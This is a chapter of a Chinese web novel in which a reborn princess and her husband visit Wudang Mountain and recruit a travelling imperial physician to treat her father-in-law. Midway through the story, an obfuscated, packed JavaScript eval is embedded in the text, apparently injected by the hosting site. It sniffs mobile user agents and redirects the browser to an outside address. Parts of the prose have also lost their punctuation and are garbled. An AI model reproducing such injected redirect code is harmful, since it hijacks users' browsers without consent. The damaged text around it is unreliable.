第61章 第 61 章

作品:《守寡后我重生了

    九月下旬,武当山,太和宫。


    黄昏时分,鹤发童颜的老观主讲经完毕,华阳神色虔诚地上前,请教几处懵懂之处,这才带着陈敬宗告辞。


    夫妻俩并肩朝公主、驸马暂住的客院走去。


    路上,陈敬宗看着一袭白裙、不染脂粉的华阳,又一次问道:“都住了七八日了,你准备何时回去?”


    华阳:“急什么,这辈子我可能只会来一次武当,当然要住久一些,你若担心卫所事务,先走好了。”


    这次出游,她原本也没想要陈敬宗陪她,是陈敬宗非要跟过来。


    陈敬宗抿唇。


    上个月她带着朝云、朝月、周吉、吴润以及几十个侍卫去游洞庭湖,月初出发月底才回来,刚在宁园住了几晚,回祖宅陪二老过了重阳,就又要来游武当山。陈敬宗若不跟来,夫妻俩可能又要分别一个月!


    “卫所有卢达在,不需要我担心什么,倒是你,这几日不是在太和宫听经就是在玉虚宫听经,再听下去,我怕你也学了你皇爷爷,从此一心向道,整日寻思着如何修仙。”


    “放肆!”


    华阳低斥一声,同时警惕地环顾周围,确定没有小道士经过,她才冷眼警告陈敬宗:“平时你编排我也就罢了,皇爷爷岂是你能随便妄议的?真传出去,御史去父皇面前告你一个大不敬,就算父皇看在我的面子上想放你一马,涉及到皇爷爷,他也无法徇私。”


    陈敬宗笑着看她:“那不正好给你理由休我,然后再换一个完全合你心意的驸马。”


    华阳懒得理他。


    回到客院,稍作休息,两个小道士把夫妻俩的晚饭端来了,身在道观,自然要茹素。


    馒头、白粥、素菜,陈敬宗的脸色更难看了。


    华阳只觉得好笑:“都是你自找的。”


    陈敬宗并不怕吃素,他最憋屈的是他明明带了那东西过来,可因为下榻在道观,她非要讲究,不许他在道观胡来。


    早知如此,他不如上个月跟她去洞庭湖,来什么武当山。


    华阳给他夹了一个馒头:“多吃点,明天我想去游天柱峰。”


    陈敬宗嗤笑:“就你?从这里走到天柱峰都要喊累,还想爬此地第一高峰?”


    华阳:“这不是还有你爬不动了就让你背我。”


    陈敬宗:“天天吃素背不动。”


    他嘴里嫌弃的是菜眼神惦记的却是另一种荤。


    华阳只当听不懂淡笑道:“背不动你就在家里睡觉我带周吉去。”


    次日上午天柱峰山脚陈敬宗卷起袖子继续给娇滴滴的公主当牛做马。


    天柱峰太高了华阳可没指望一路都让陈敬宗背走得动的时候她都自己走遇到适合欣赏风景的地方她便与陈敬宗寻块儿平滑的石头坐下周吉带着一队侍卫保持一定距离跟在后面。


    走走歇歇的快到晌午两人终于登上了天柱峰峰顶。


    秋风飒爽吹得衣袍猎猎作响。


    周吉提着食盒过来


    陈敬宗看着他走开咬口包子对华阳道:“你们这些皇家祖宗就是喜欢折腾人。”


    这武当山上很多道观都是她的太./祖、成祖爷爷以及先帝皇爷爷命工匠督建的光爬山都够累了工匠们还要将那么多石料、木料运上山该是何等辛苦。


    华阳:“有失必有得工匠们虽然辛苦了却也赚到了银子老祖宗们也给世人留下了这些道观修心养性不然这些山上光秃秃的游人来观赏都没个投宿之处。”


    陈敬宗只是随口聊聊没跟她辩驳。


    吃饱了华阳叫陈敬宗磨墨她来作画这也是她会寄给父皇母后弟弟的礼物将她亲眼所看以画的形式送给家人。


    山光壮丽华阳从不同角度连画三幅。


    陈敬宗:“可算画好了再磨下去我手腕都要酸了。”


    华阳瞥眼他的手鬼使神差竟想起夜里某些时刻不禁耳尖泛红。


    难道素了太久连她也有几分惦念了?否则怎么会在这山顶冒出那种念头。


    幸好陈敬宗在收拾东西等他抬起头时华阳已经恢复如常。


    画架等物交给侍卫们夫妻俩仍然走在最前面。


    即将经过一个岔路口时华阳发现有个背着竹篓的布衣农夫从另一条路过来了她心里一慌忙让陈敬宗放


    她下来。


    陈敬宗也注意到了那人慢慢将华阳放到地上。


    走了几步那农夫也出现在了路口余光瞥见上面的山路上有人下来农夫下意识地看了一眼。


    看到华阳农夫愣住了。


    华阳刚要避开他的视线忽然又觉得此人有些眼熟再去看就见此人虽然一身布衣却仪表堂堂目光清明五旬左右的年纪留着一缕长须颇有几分仙风道骨。


    见华阳目不转睛地盯着他农夫笑了笑放下背上药篓躬身行礼道:“草民李东璧见过公主。”


    华阳本来就有了几分猜测听到他自报姓名华阳顿时喜出望外小跑几步来到这人面前欢喜道:“居然真的是李太医您怎么会在这里?”


    李东璧乃本朝名医曾经在太医院任职替景顺帝治过病小时候华阳染过一次风寒病得很严重也是李太医帮她治好的。


    只是那时候华阳才十岁再加上重生记忆早模糊了若非李东璧风采过人令人印象深刻华阳可能连眼熟的感觉都不会有。


    李东壁笑道:“公主有所不知草民是湖广蕲州人士近日恰逢到武当一带采集药草不想竟能得遇公主仙姿。”


    华阳之美任何人都能见之不忘现在的她虽然与十岁时比五官长得更开了可那份美貌李东璧还是一眼就认了出来而且他也听说了华阳公主鞭笞湘王的事迹知道这个时间公主确实在湖广。


    两人叙了会儿旧华阳才想起给李东璧介绍陈敬宗简简单单两句话:“这是我的驸马陈敬宗陈阁老家的四公子。”


    李东壁打量陈敬宗一番诚心夸赞了一番驸马好相貌。


    毕竟他并不了解陈敬宗什么只能夸脸了。


    接下来的山路华阳根本就像把陈敬宗忘了一样


    陈敬宗走在两人身后目光时而落在华阳的笑脸上时而落在李东壁的山羊胡上。


    不知道是不是他想多了华阳似乎特别偏爱老头子、李东壁这等上了年


    纪又有真才实学之人。


    在华阳的热情相邀下,李东壁随他们来了太和宫的客院,共用晚饭。


    晚饭结束时,华阳看眼陈敬宗,对李东壁道:“不瞒李太医,我的婆母近年常受腰酸之扰,不知可否请您随我们回趟陵州,替她老人家瞧瞧?”


    陈敬宗:……


    母亲还没到五十,瞧着也挺硬朗的,并不曾跟他们念叨过腰酸,怎么突然就到了需要请李东壁看诊的地步?</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429974|84749||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    还是华阳太孝顺,一点小问题都见不得母亲忍受,将他这个亲儿子都比下去了?


    李东壁一心采药,换个人邀请他去问诊,他定会拒绝。


    可对上华阳那张诚恳相邀的小脸,李东壁便不忍心叫公主失望。


    “既然公主有这份孝心,老夫就随你们走一趟吧。”


    华阳很高兴,喊来周吉,叫他亲自送李东壁回他的落脚之处,明早他们的车马会直接去那边接应。


    李东壁走后,陈敬宗跟着华阳进了屋,疑惑道:“母亲跟你提过她腰酸?”


    华阳:“不曾,不过她与父亲都上了年纪,老人家身上多多少少都会有些问题,咱们既然遇到了李太医,当然不能错过这个机会。你也看到了,李太医四处采药行踪飘忽不定,等二老真犯了什么隐疾再去寻他,可就没地方找了。”


    陈敬宗:“可如果二老身体没有问题,你不是让李太医白跑了一趟?”


    华阳挑眉:“二老重要,还是耽误李太医半个月行程重要?”


    陈敬宗再跟老头子对着干,让他选他也会选自家二老,他只是被华阳人前人后的表现惊到了:“你这公主,招待李太医时仿佛将人家当成了亲爷爷,谁成想你只是想利用李太医的医术,我看他也快六十了,该说你对他太功利,还是说你对老头子太敬重?”


    归根结底,她还是为了家里的老头子!


    华阳瞪他:“我是要他帮父亲母亲都看看,你为何只说我敬重父亲?”


    陈敬宗:“猜的,你对我们家哪个好,其实都是因为对老头子爱屋及乌。”


    华阳:……


    她背过去,径自梳起头来。


    陈敬宗坐到她身边,看着她的脸道:“你只有心虚了,才会不再顶


    我。”


    华阳哼道:“我对父亲爱屋及乌又如何?我就是个功利的人,敬重父亲也是因为父亲有阁老之才,能辅佐父皇治理江山,能让我朝百姓过上好日子。但天地可鉴,我对父亲只有敬重,你少在那阴阳怪气、胡言乱语,传出去你、我、父亲都要沦为笑柄。”


    陈敬宗:“这个我懂,你还不至于眼瞎到放着我这样英俊强壮的驸马不爱,反而去惦记一个五十多岁的糟老头子,只是我不明白,内阁阁老那么多,你为何独独看重我们家这个,他离京时只是次辅,论政绩也不如首辅乃至前任首辅。”


    华阳将簪子放在桌子上,拿起梳子,梳了两下头,才瞥了他一眼,笑道:“多多少少还是看脸吧,从小到大我也见过十几位阁老,论容貌风采,无人能胜过父亲。”


    她不能告诉陈敬宗她是重生之人,只能插科打诨糊弄过去。


    她当然也不是故意要折腾李东璧,而是公爹看似硬朗,实则患有一桩隐疾,前世公爹过早病逝,就与那隐疾有关。


    陈敬宗探究地看了她一会儿,再挤过去,看向镜子中的自己。


    兄弟三个,包括已经病逝的二哥,五官都随了老头子,很是周正俊朗,不过陈敬宗因为练武,硬是把陈家男人常见的书卷气给摩掉了,仿佛美玉匣子里突然多出一柄利剑。


    端详片刻,夫妻俩的目光在镜子中撞上了。


    陈敬宗忽然问:“若皇后娘娘要赐婚时,我与大哥、三哥都未成亲,你会选谁?”


    华阳:……


    “谁都不选,我嫁别人去!”